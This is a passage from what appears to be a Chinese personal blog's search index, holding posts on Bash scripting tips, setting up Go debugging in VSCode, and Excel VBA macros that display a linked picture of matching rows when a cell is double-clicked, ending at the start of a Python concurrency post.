<li>在Windows下编写,在Linux下使用,大概率会由换行符导致脚本无法运行:Windows下换行符为CRLF(正则表达式的\r\n,ASCII码的13和10),Unix(or Linux)下换行符为LF(正则表达式的\n)。这个问题会导致在Linux下运行\r\n为无效参数、vi等编辑器打开会出现^M、脚本头部出现乱码字符等;</li>
<li>Linux Shell脚本单引号、双引号在使用时,具有不同效果:单引号为所见即所得、双引号为解析之后所得;</li>
<li>seq命令在替换特殊字符时可以用\来转义(正则转义)。</li>
</ol>
<h1 id="完整代码"><a href="#完整代码" class="headerlink" title="完整代码"></a>完整代码</h1><p>由于这个脚本涉及到一些机密的东西,完整代码不能上传到GitHub。望理解!</p>
]]></content>
<categories>
<category>Code</category>
<category>Bash</category>
</categories>
<tags>
<tag>Code</tag>
<tag>Bash</tag>
</tags>
</entry>
<entry>
<title>Go-VSCode环境搭建</title>
<url>/archives/c70ca2a9.html</url>
<content><![CDATA[<p>最近项目上用到了Go,因此对VSCode进行Go环境搭建。效果图如下:<br><img data-src="https://i.loli.net/2018/05/20/5b00d3916250e.png" alt="GO debug.png"></p>
<span id="more"></span>
<h1 id="Go"><a href="#Go" class="headerlink" title="Go"></a>Go</h1><h2 id="Go安装"><a href="#Go安装" class="headerlink" title="Go安装"></a>Go安装</h2><p>去<span class="exturl" data-url="aHR0cHM6Ly9nb2xhbmcub3JnLw==">Golang官网<i class="fa fa-external-link-alt"></i></span>下载对应版本的安装包,我这里是Windows操作系统,因此下载<span class="exturl" data-url="aHR0cHM6Ly9kbC5nb29nbGUuY29tL2dvL2dvMS4xMC4yLndpbmRvd3MtYW1kNjQubXNp">go1.10.2.windows-amd64.msi<i class="fa fa-external-link-alt"></i></span>。由于Golang官网需要科学上网,如果没有翻墙的软件,可以去<span class="exturl" data-url="aHR0cHM6Ly9zdHVkeWdvbGFuZy5jb20v">Go语言中文网<i class="fa fa-external-link-alt"></i></span>下载,<span class="exturl" data-url="aHR0cHM6Ly9zdHVkeWdvbGFuZy5jb20vZGw=">下载页面<i class="fa fa-external-link-alt"></i></span>。<br>安装过程直接Next过去即可。<br><img data-src="https://i.loli.net/2018/05/20/5b00da8e4989c.png" alt="go install.png"><br>安装完成之后,打开CMD输入go version查看go 版本信息。<br><img data-src="https://i.loli.net/2018/05/20/5b00dbbc39baf.png" alt="go version.png"></p>
<h2 id="Go环境配置"><a href="#Go环境配置" class="headerlink" title="Go环境配置"></a>Go环境配置</h2><p>Go安装完成之后,在CMD下输入go env查看go的环境变量。<br><img data-src="https://i.loli.net/2018/05/20/5b00dc06a590d.png" alt="go env.png"><br>有两个关键的变量:GOROOT、GOPATH。GOROOT为Go安装目录不需要进行修改,GOPATH为Go项目地址可以进行修改。在喜欢的地方建立一个Go项目目录。这里我在C盘根目录下建立一个文件夹,名称为GoWork。然后将其配置到系统环境变量中。<br><img data-src="https://i.loli.net/2018/05/20/5b00dc9760002.png" alt="sys env.png"><br>配置完成之后,重新打开一个CMD输入go env查看是否生效。<br><img data-src="https://i.loli.net/2018/05/20/5b00dcd52d8c5.png" alt="go path env.png"><br>到此Go的配置告一段落。</p>
<h1 id="VSCode"><a href="#VSCode" class="headerlink" title="VSCode"></a>VSCode</h1><h2 id="VSCode安装"><a href="#VSCode安装" class="headerlink" title="VSCode安装"></a>VSCode安装</h2><p>去<span class="exturl" data-url="aHR0cHM6Ly9jb2RlLnZpc3VhbHN0dWRpby5jb20v">Visual Studio Code官网<i class="fa fa-external-link-alt"></i></span>下载对应版本的安装包安装即可。安装过程直接Next过去即可。<br><img data-src="https://i.loli.net/2018/05/20/5b00dd3f6b8dd.png" alt="VSCode.png"><br>VSCode安装完成之后需要配置Git,可以查看这篇文章<a href="/archives/5c83b0d3.html" title="搭建博客">搭建博客</a>,这里就不展开了。<br><img data-src="https://i.loli.net/2018/05/20/5b00e068e3f6f.png" alt="vscode gui.png"></p>
<h2 id="VSCode环境配置"><a href="#VSCode环境配置" class="headerlink" title="VSCode环境配置"></a>VSCode环境配置</h2><h3 id="Go插件安装"><a href="#Go插件安装" class="headerlink" title="Go插件安装"></a>Go插件安装</h3><p>在VSCode商店里面安装对应Go插件。可以直接通过VSCode欢迎使用页面的自定义→工具和语言→更多进行跳转。<br><img data-src="https://i.loli.net/2018/05/20/5b00e09ab3585.png" alt="vscode go install.png"><br>安装完成之后打开Go项目文件夹,新建一个hello.go,打开hello.go,在右小角进行点击Install All安装所依赖的库(该步骤需要翻墙)。<br><img data-src="https://i.loli.net/2018/05/20/5b00e2ab752db.png" alt="vscode go install all.png"><br>安装完成之后,在工作目录下会多出一个bin子目录里面会放所需要的exe文件。如果翻不了墙,那么可以直接下载这个,放到Go项目文件夹下的bin目录即可。<br><code>链接:https://pan.baidu.com/s/19w01LlfY8iEsLm5gJmP5Lw 密码:umao</code></p>
<h2 id="Debug"><a href="#Debug" class="headerlink" title="Debug"></a>Debug</h2><p>完成以上操作之后,可以通过F5进行Debug。<br><img data-src="https://i.loli.net/2018/05/20/5b00e5add6cd9.png" alt="vscode go debug.png"></p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>在进行VSCode进行Go Debug时,遇到了几个需要注意点,在此记录一下供诸君参考:</p>
<ol>
<li>完成Go安装之后,需要进行GOPATH环境变量配置,便于项目目录查找;</li>
<li>完成VSCode安装之后,在VSCode的终端里面输入go命令查看VSCode是否能调用系统环境变量。如果在VSCode终端找不到go命令,在用户环境变量里面进行添加可以解决该问题。假设还解决不了,直接在终端进行path环境变量追加<code>set path=%path%;C:\go\bin</code>;</li>
<li>如果VSCode依赖的库安装失败,直接把src、bin、pkg目录都删除,然后重新安装。</li>
</ol>
<h1 id="Go代码"><a href="#Go代码" class="headerlink" title="Go代码"></a>Go代码</h1><figure class="highlight go"><table><tr><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> <span class="string">"fmt"</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"> fmt.Println(<span class="string">"Hello, Hywell"</span>)</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category>Code</category>
<category>Golang</category>
</categories>
<tags>
<tag>环境搭建</tag>
<tag>Go</tag>
</tags>
</entry>
<entry>
<title>Excel-双击自动引用图片(二)</title>
<url>/archives/9b0fde12.html</url>
<content><![CDATA[<p> 在<a href="/archives/343e4570.html" title="Excel-双击自动引用图片(一)">Excel-双击自动引用图片(一)</a>中,已经成功实现双击调用同Worksheet的不同sheets的区域,并转换成图片显示.接下来开始进阶的内容了:调用不同Worksheet的不定sheets区域(后台显示)、图片命名等.最主要的是将代码以过程封装起来,便于调用.</p>
<h1 id="需求描述"><a href="#需求描述" class="headerlink" title="需求描述"></a>需求描述</h1><p> 本次需求包括:数据来源不同Worksheet、后台调用Worksheet、图片属性操作、封装调用.</p>
<h1 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h1><p> 由于需要将代码封装调用,所以要了解VBA中函数定义、过程调用。</p>
<h2 id="进阶知识"><a href="#进阶知识" class="headerlink" title="进阶知识"></a>进阶知识</h2><p> VBA中有两种定义方式:Sub function.Sub是过程、Function是函数.两者区别在于Sub不能返回值、Function可以返回值;Sub可以直接执行、Function需要调用才能执行.由于需要直接执行,所以使用Sub.</p>
<figure class="highlight mathematica"><table><tr><td class="code"><pre><span class="line"><span class="variable">Sub</span> <span class="variable">testS</span><span class="punctuation">(</span><span class="variable">arg</span><span class="punctuation">)</span></span><br><span class="line"> <span class="variable">Msgbox</span> <span class="string">"调用Sub,传递的参数为"</span> <span class="operator">&</span> <span class="variable">arg</span></span><br><span class="line"> <span class="built_in">If</span> <span class="variable">arg</span> <span class="operator">=</span> <span class="number">1</span> <span class="variable">Then</span></span><br><span class="line"> <span class="built_in">Exit</span> <span class="variable">Sub</span></span><br><span class="line"> <span class="built_in">End</span> <span class="built_in">If</span></span><br><span class="line"> <span class="variable">Msbox</span> <span class="string">"结束"</span></span><br><span class="line"><span class="built_in">End</span> <span class="variable">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">Function</span> <span class="variable">testF</span><span class="punctuation">(</span><span class="variable">arg</span><span class="punctuation">)</span></span><br><span class="line"> <span class="variable">Msgbox</span> <span class="string">"调用Function,传递的参数为"</span> <span class="operator">&</span> <span class="variable">arg</span></span><br><span class="line"> <span class="built_in">If</span> <span class="variable">arg</span> <span class="operator">=</span> <span class="number">1</span> <span class="variable">Then</span></span><br><span class="line"> <span class="built_in">Exit</span> <span class="built_in">Function</span></span><br><span class="line"> <span class="built_in">End</span> <span class="built_in">If</span></span><br><span class="line"> <span class="variable">Msbox</span> <span class="string">"结束"</span></span><br><span class="line"><span class="built_in">End</span> <span class="built_in">Function</span></span><br></pre></td></tr></table></figure>
<p> VBA使用CreateObject来创建对象.</p>
<h1 id="编写思路"><a href="#编写思路" class="headerlink" title="编写思路"></a>编写思路</h1><p> 通过对需求的解读,可以将整体分为三块:1.工作Worksheet获取双击单元格值、2.根据单元格值获取对应数据区域、3.根据对应数据区域生成图片.三块每块对应一个过程:第一块创建对象、变量等,并获取单元格值,向第二块传递需要Worksheet对象和单元格值、第二块向第三块传递[Worksheet对象、sheets值、数据区域、高度].</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><ol>
<li>对象在使用完之后,需要清空,要不然一直会在内存当中;</li>
<li>单元格包含某个值的时候,使用InStr(Range(“A1”), getValue).</li>
</ol>
<h1 id="完整代码"><a href="#完整代码" class="headerlink" title="完整代码"></a>完整代码</h1><figure class="highlight vbnet"><table><tr><td class="code"><pre><span class="line"><span class="keyword">Private</span> <span class="keyword">Sub</span> Worksheet_BeforeDoubleClick(<span class="keyword">ByVal</span> Target <span class="keyword">As</span> Range, Cancel <span class="keyword">As</span> <span class="type">Boolean</span>) <span class="comment">'定义双击事件</span></span><br><span class="line"> <span class="keyword">Dim</span> getExit <span class="keyword">As</span> <span class="type">Integer</span></span><br><span class="line"> getExit = <span class="number">0</span></span><br><span class="line"> Application.ScreenUpdating = <span class="literal">False</span> <span class="comment">'屏幕不更新</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">For</span> <span class="keyword">Each</span> im <span class="keyword">In</span> ActiveSheet.Shapes <span class="comment">'删除名字为测试的图片</span></span><br><span class="line"> <span class="keyword">If</span> im.Name = <span class="string">"测试"</span> <span class="keyword">Then</span></span><br><span class="line"> im.Delete</span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"> <span class="keyword">Next</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">Dim</span> getValue <span class="keyword">As</span> <span class="type">String</span> <span class="comment">'单元格值</span></span><br><span class="line"> <span class="keyword">Dim</span> Work1 <span class="keyword">As</span> Workbook <span class="comment">'定义工作Excel变量</span></span><br><span class="line"> <span class="keyword">Dim</span> Work2 <span class="keyword">As</span> Workbook <span class="comment">'定义工作Excel变量</span></span><br><span class="line"> top = Target.top <span class="comment">' 获取当前活动单元格的高度</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">Set</span> Work1 = CreateObject(<span class="string">"C:\Users\Hywell\Desktop\test.xlsx"</span>) <span class="comment">'创建Worksheet对象</span></span><br><span class="line"> <span class="keyword">Set</span> Work2 = CreateObject(<span class="string">"C:\Users\Hywell\Desktop\test2.xlsx"</span>) <span class="comment">'创建Worksheet对象</span></span><br><span class="line"></span><br><span class="line"> Allsheets = Array(Work1, Work2) <span class="comment">'定义工作Excel数组</span></span><br><span class="line"> </span><br><span class="line"> getValue = Range(Target.Address) <span class="comment">'获取当前活动单元格地址的内容</span></span><br><span class="line"> <span class="keyword">If</span> Target.Column = <span class="number">6</span> <span class="keyword">Then</span> <span class="comment">'判断是否为F列</span></span><br><span class="line"> <span class="keyword">If</span> getValue = <span class="string">""</span> <span class="keyword">Then</span></span><br><span class="line"> MsgBox <span class="string">"数据为空!"</span></span><br><span class="line"> <span class="keyword">Else</span></span><br><span class="line"> <span class="keyword">For</span> <span class="keyword">Each</span> i <span class="keyword">In</span> Allsheets <span class="comment">'遍历工作Excel数组</span></span><br><span class="line"> <span class="keyword">If</span> getExit = <span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line"> <span class="keyword">Call</span> getResult(i, getValue, getExit, top) <span class="comment">'调用getResult函数 获取所需数据区域</span></span><br><span class="line"> <span class="keyword">Else</span></span><br><span class="line"> <span class="keyword">Exit</span> <span class="keyword">For</span></span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"> <span class="keyword">Next</span></span><br><span class="line"> <span class="keyword">If</span> getExit = <span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line"> MsgBox <span class="string">"找不到对应明细表!"</span></span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">Set</span> Work1 = <span class="literal">Nothing</span> <span class="comment">'清空Work1对象</span></span><br><span class="line"> <span class="keyword">Set</span> Work2 = <span class="literal">Nothing</span> <span class="comment">'清空Work2对象</span></span><br><span class="line"> </span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">Sub</span> getResult(Worksheet, getValue, getExit, top) <span class="comment">'获取数据(getValue)区域</span></span><br><span class="line"> <span class="keyword">Dim</span> getInt <span class="keyword">As</span> <span class="type">Integer</span> <span class="comment">'开始行数</span></span><br><span class="line"> <span class="keyword">Dim</span> getInt2 <span class="keyword">As</span> <span class="type">Integer</span> <span class="comment">'最后行数</span></span><br><span class="line"> <span class="keyword">Dim</span> getNum <span class="keyword">As</span> <span class="type">Integer</span> <span class="comment">'用于退出Fox循环</span></span><br><span class="line"> <span class="keyword">Dim</span> getWork <span class="keyword">As</span> <span class="type">Integer</span> <span class="comment">'获取工作的sheet</span></span><br><span class="line"> <span class="keyword">Dim</span> Time <span class="keyword">As</span> <span class="type">String</span> <span class="comment">'定义定位标识符</span></span><br><span class="line"> </span><br><span class="line"> getInt = <span class="number">0</span> <span class="comment">'初始化</span></span><br><span class="line"> getInt2 = <span class="number">0</span> <span class="comment">'初始化</span></span><br><span class="line"> getNum = <span class="number">0</span> <span class="comment">'初始化</span></span><br><span class="line"> Time = <span class="string">"日期"</span> <span class="comment">'初始化</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">For</span> y = <span class="number">1</span> <span class="keyword">To</span> Worksheet.Sheets.Count <span class="comment">'遍历工作Excel中的Sheet的数量</span></span><br><span class="line"> <span class="keyword">For</span> i = <span class="number">1</span> <span class="keyword">To</span> Worksheet.Sheets(y).UsedRange.Rows.Count <span class="comment">'遍历sheet已经被使用单元格的行数</span></span><br><span class="line"> <span class="keyword">If</span> Worksheet.Sheets(y).Range(<span class="string">"F"</span> & i) = getValue <span class="built_in">Or</span> InStr(Worksheet.Sheets(y).Range(<span class="string">"I"</span> & i), getValue) <span class="keyword">Then</span> <span class="comment">'根据货号取得对应sheet的I列中第一次出现</span></span><br><span class="line"> getInt = i</span><br><span class="line"> getNum = getNum + <span class="number">1</span></span><br><span class="line"> <span class="keyword">Exit</span> <span class="keyword">For</span></span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"> <span class="keyword">Next</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">If</span> getInt <> <span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line"> <span class="keyword">For</span> i = getInt <span class="keyword">To</span> Worksheet.Sheets(y).UsedRange.Rows.Count <span class="comment">'从getInt遍历sheet2已经被使用单元格的行数</span></span><br><span class="line"> <span class="keyword">If</span> InStr(Worksheet.Sheets(y).Range(<span class="string">"A"</span> & i), Time) <span class="keyword">Then</span></span><br><span class="line"> getInt2 = i + <span class="number">1</span></span><br><span class="line"> <span class="keyword">Exit</span> <span class="keyword">For</span></span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"> <span class="keyword">Next</span></span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">If</span> getInt <> <span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line"> getWork = y</span><br><span class="line"> <span class="keyword">Exit</span> <span class="keyword">For</span></span><br><span class="line"> <span class="keyword">Else</span></span><br><span class="line"> getWork = <span class="number">1</span></span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"> <span class="keyword">Next</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">If</span> getInt2 = <span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line"> getInt2 = getInt</span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">If</span> getInt <> <span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line"> <span class="keyword">Call</span> getImage(Worksheet, getWork, getInt, getInt2, top) <span class="comment">'调用getImage生成图片</span></span><br><span class="line"> getExit = getExit + <span class="number">1</span></span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"> </span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">Sub</span> getImage(Worksheet, getWork, getInt, getInt2, top)</span><br><span class="line"> Worksheet.Sheets(getWork).Range(<span class="string">"A"</span> & getInt - <span class="number">2</span> & <span class="string">":O"</span> & getInt2).Copy</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">With</span> ActiveSheet.Pictures.Paste(Link:=<span class="literal">True</span>) <span class="comment">'设置图片属性</span></span><br><span class="line"> .Left = <span class="number">1110</span></span><br><span class="line"> .top = top</span><br><span class="line"> .Name = <span class="string">"测试"</span></span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">With</span></span><br><span class="line"> Application.CutCopyMode = <span class="literal">False</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category>Code</category>
<category>VBA</category>
</categories>
<tags>
<tag>Code</tag>
<tag>VBA</tag>
<tag>Excel</tag>
</tags>
</entry>
<entry>
<title>Excel-双击自动引用图片(一)</title>
<url>/archives/343e4570.html</url>
<content><![CDATA[<p> 最近遇到一个朋友在使用Excel的时候遇到一个问题。朋友有难,岂能不帮?</p>
<span id="more"></span>
<h2 id="需求描述"><a href="#需求描述" class="headerlink" title="需求描述"></a>需求描述</h2><p> 在Excel的sheet1中有一组汇总表,其中包含了两组信息[表名、货号]。在对应表中,有详细信息[货号、型号、价格、数量]。当双击sheet1中的具体货号的单元格,将详细信息显示在sheet1中。效果图如下。<br><img data-src="https://i.loli.net/2017/08/26/59a0e631e08cf.png" alt="效果图.png"></p>
<h2 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h2><p> 由于涉及到自动引用,并且在Excel中没有找到对应的函数。所以,需要自己写VBA(Visual Basic For Applications)来实现。</p>
<h3 id="基础知识"><a href="#基础知识" class="headerlink" title="基础知识"></a>基础知识</h3><p> 对VBA也不甚了解,所以,需要基础扫盲一下。根据上述需求,可以得知我们需要编写的功能有:双击执行事情、获取单元格值、截图功能、筛选功能等。<br> VBA提供了单击执行事情(Worksheet_SelectionChange)、双击执行事件(Worksheet_BeforeDoubleClick)、单元格内容改变执行事情(Worksheet_Change)等函数。可以通过Worksheet_BeforeDoubleClick来完成双击执行事件。</p>
<figure class="highlight vbnet"><table><tr><td class="code"><pre><span class="line"><span class="keyword">Private</span> <span class="keyword">Sub</span> Worksheet_BeforeDoubleClick(<span class="keyword">ByVal</span> Target <span class="keyword">As</span> Range, Cancel <span class="keyword">As</span> <span class="type">Boolean</span>)</span><br><span class="line"> MsgBox <span class="string">"你进行了双击!"</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br></pre></td></tr></table></figure>
<p> VBA定义变量是通过Dim variable As Type(String、Integer等)进行定义的。本例定义了四个变量,用来存储信息。</p>
<figure class="highlight vbnet"><table><tr><td class="code"><pre><span class="line"><span class="keyword">Dim</span> getValue <span class="keyword">As</span> <span class="type">String</span> <span class="comment">'单元格值</span></span><br><span class="line"><span class="keyword">Dim</span> getInt <span class="keyword">As</span> <span class="type">Integer</span> <span class="comment">'第一次出现行数</span></span><br><span class="line"><span class="keyword">Dim</span> getInt2 <span class="keyword">As</span> <span class="type">Integer</span> <span class="comment">'最后出现行数</span></span><br><span class="line"><span class="keyword">Dim</span> getNum <span class="keyword">As</span> <span class="type">Integer</span></span><br></pre></td></tr></table></figure>
<p> VBA中的For循环,需要与Next成对出现。退出For的话用exit for<br><img data-src="https://i.loli.net/2017/08/26/59a0ecf7332b1.jpg" alt="for循环.jpg"></p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">For i=<span class="number">1</span> To <span class="number">10</span> Then</span><br><span class="line"> MsgBox i</span><br><span class="line"> <span class="keyword">exit</span> <span class="keyword">for</span></span><br><span class="line">Next</span><br></pre></td></tr></table></figure>
<p> VBA中的If语句,需要与Then、End If成对出现。</p>
<figure class="highlight mathematica"><table><tr><td class="code"><pre><span class="line"><span class="built_in">If</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">10</span> <span class="variable">Then</span></span><br><span class="line"> <span class="variable">MsgBox</span> <span class="variable">i</span></span><br><span class="line"><span class="built_in">End</span> <span class="built_in">If</span></span><br></pre></td></tr></table></figure>
<p> VBA中的图片删除、生成等操作。这里图片生成是指对应区域单元格的链接图片。</p>
<figure class="highlight mathematica"><table><tr><td class="code"><pre><span class="line"><span class="built_in">For</span> <span class="variable">Each</span> <span class="variable">im</span> <span class="built_in">In</span> <span class="variable">ActiveSheet</span><span class="operator">.</span><span class="variable">Shapes</span></span><br><span class="line"> <span class="variable">ActiveSheet</span><span class="operator">.</span><span class="variable">Shapes</span><span class="operator">.</span><span class="built_in">Delete</span></span><br><span class="line"><span class="built_in">Next</span></span><br><span class="line"><span class="variable">Sheet2</span><span class="operator">.</span><span class="built_in">Range</span><span class="punctuation">(</span><span class="string">"A1:D1"</span><span class="punctuation">)</span><span class="operator">.</span><span class="variable">Copy</span></span><br><span class="line"><span class="variable">ActiveSheet</span><span class="operator">.</span><span class="variable">Pictures</span><span class="operator">.</span><span class="built_in">Paste</span><span class="punctuation">(</span><span class="variable">Link</span><span class="operator">:=</span><span class="built_in">True</span><span class="punctuation">)</span><span class="operator">.</span><span class="built_in">Select</span></span><br><span class="line"><span class="variable">Application</span><span class="operator">.</span><span class="variable">CutCopyMode</span> <span class="operator">=</span> <span class="built_in">False</span></span><br></pre></td></tr></table></figure>
<p> VBA中获取单元格信息,用target即可。</p>
<figure class="highlight stylus"><table><tr><td class="code"><pre><span class="line">Target<span class="selector-class">.Address</span> `目标但单元格的地址</span><br><span class="line">Target<span class="selector-class">.Column</span> `目标单元格的列</span><br><span class="line"><span class="function"><span class="title">Range</span><span class="params">(Target.Address)</span></span> `目标单元格的值</span><br></pre></td></tr></table></figure>
<p> VBA中的运算符号,等于、大于等于、小于等于、不等于分别问=、>=、<=、<>。</p>
<h2 id="编写思路"><a href="#编写思路" class="headerlink" title="编写思路"></a>编写思路</h2><p> 通过相应的基础扫盲,现在已经具备了一定的VBA编程的基础。通过对需求的解读,整理一下思路即可。<br> 首先定义双击事件,获取活动单元格的值,赋值给对应参数getValue。获取另一张表格已被使用的单元格行数,通过For循环遍历某列所有行,用于匹配getValue。第一次匹配成功为数据开始行,最后一次匹配成功为数据结束行。通过获取的行数,结合需要使用的列,获取需要的单元格区域。将此单元格区域通过图片生成的方式,显示在页面上。</p>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><ol>
<li>VBA格式格式严谨,if、then、end if for、next with、end with都成对出现;</li>
<li>VBA处理思路需要按照无到有的思路,如果已经执行过copy,需要先清空,才能再次执行;</li>
<li>图片生成之后,需要定义出现的位置。不定义出现位置,导致图片直接顶格出现;</li>
<li>该例子在图片生成之前会清空所有图片,不清空,每次双击对应单元格就会生成一张图片;</li>
<li>一开始准备用自定义函数来编写,后面发现本身集成了需要对应的函数(单机事情、双击事情),因此,对一门语言了解其自带的函数很重要。</li>
</ol>
<h2 id="完整代码"><a href="#完整代码" class="headerlink" title="完整代码"></a>完整代码</h2><figure class="highlight vbnet"><table><tr><td class="code"><pre><span class="line"><span class="keyword">Private</span> <span class="keyword">Sub</span> Worksheet_BeforeDoubleClick(<span class="keyword">ByVal</span> Target <span class="keyword">As</span> Range, Cancel <span class="keyword">As</span> <span class="type">Boolean</span>) <span class="comment">'sheet1双击事情</span></span><br><span class="line"> <span class="keyword">For</span> <span class="keyword">Each</span> im <span class="keyword">In</span> ActiveSheet.Shapes <span class="comment">'删除所有图片</span></span><br><span class="line"> im.Delete</span><br><span class="line"> <span class="keyword">Next</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">Dim</span> getValue <span class="keyword">As</span> <span class="type">String</span> <span class="comment">'单元格值</span></span><br><span class="line"> <span class="keyword">Dim</span> getInt <span class="keyword">As</span> <span class="type">Integer</span> <span class="comment">'第一次出现行数</span></span><br><span class="line"> <span class="keyword">Dim</span> getInt2 <span class="keyword">As</span> <span class="type">Integer</span> <span class="comment">'最后出现行数</span></span><br><span class="line"> <span class="keyword">Dim</span> getNum <span class="keyword">As</span> <span class="type">Integer</span> <span class="comment">'用于判断是否是第一次</span></span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> getInt = <span class="number">0</span> <span class="comment">'初始化</span></span><br><span class="line"> getInt2 = <span class="number">0</span> <span class="comment">'初始化</span></span><br><span class="line"> getNum = <span class="number">0</span> <span class="comment">'初始化</span></span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"> getValue = Range(Target.Address) <span class="comment">'获取当前活动单元格地址</span></span><br><span class="line"> <span class="keyword">If</span> Target.Column = <span class="number">1</span> <span class="keyword">Then</span> <span class="comment">'判断是否为sheet1中的A列</span></span><br><span class="line"> <span class="keyword">For</span> i = <span class="number">1</span> <span class="keyword">To</span> Sheet2.UsedRange.Rows.Count <span class="comment">'遍历sheet2已经被使用单元格的行数</span></span><br><span class="line"> <span class="keyword">If</span> Sheet2.Range(<span class="string">"A"</span> & i) = getValue <span class="keyword">Then</span> <span class="comment">'取得sheet2的A列中第一次出现、最后一次出现的行数</span></span><br><span class="line"> <span class="keyword">If</span> getNum = <span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line"> getInt = i</span><br><span class="line"> <span class="keyword">Else</span></span><br><span class="line"> getInt2 = i</span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"> getNum = getNum + <span class="number">1</span></span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"> <span class="keyword">Next</span></span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">If</span> getInt2 = <span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line"> getInt2 = getInt</span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">'遍历获取所有单元格</span></span><br><span class="line"> <span class="keyword">If</span> getInt <> <span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line"> Sheet2.Range(<span class="string">"A"</span> & getInt - <span class="number">2</span> & <span class="string">":D"</span> & getInt2).Copy</span><br><span class="line"> ActiveSheet.Pictures.Paste(Link:=<span class="literal">True</span>).<span class="keyword">Select</span></span><br><span class="line"> <span class="keyword">With</span> ActiveSheet.Pictures</span><br><span class="line"> .Left = <span class="number">400</span></span><br><span class="line"> .Top = <span class="number">0</span></span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">With</span></span><br><span class="line"> Application.CutCopyMode = <span class="literal">False</span></span><br><span class="line"> <span class="keyword">Else</span></span><br><span class="line"> Sheet2.Range(<span class="string">"A1:D2"</span>).Copy</span><br><span class="line"> ActiveSheet.Pictures.Paste(Link:=<span class="literal">True</span>).<span class="keyword">Select</span></span><br><span class="line"> <span class="keyword">With</span> ActiveSheet.Pictures</span><br><span class="line"> .Left = <span class="number">400</span></span><br><span class="line"> .Top = <span class="number">0</span></span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">With</span></span><br><span class="line"> Application.CutCopyMode = <span class="literal">False</span></span><br><span class="line"> <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category>Code</category>
<category>VBA</category>
</categories>
<tags>
<tag>Code</tag>
<tag>VBA</tag>
<tag>Excel</tag>
</tags>
</entry>
<entry>
<title>Python多线程&&多进程&&协程</title>
<url>/archives/f4423a86.html</url>
<content><![CDATA[<p>针对Python的多线程、多进程、协程等进行学习。</p>
<span id="more"></span>
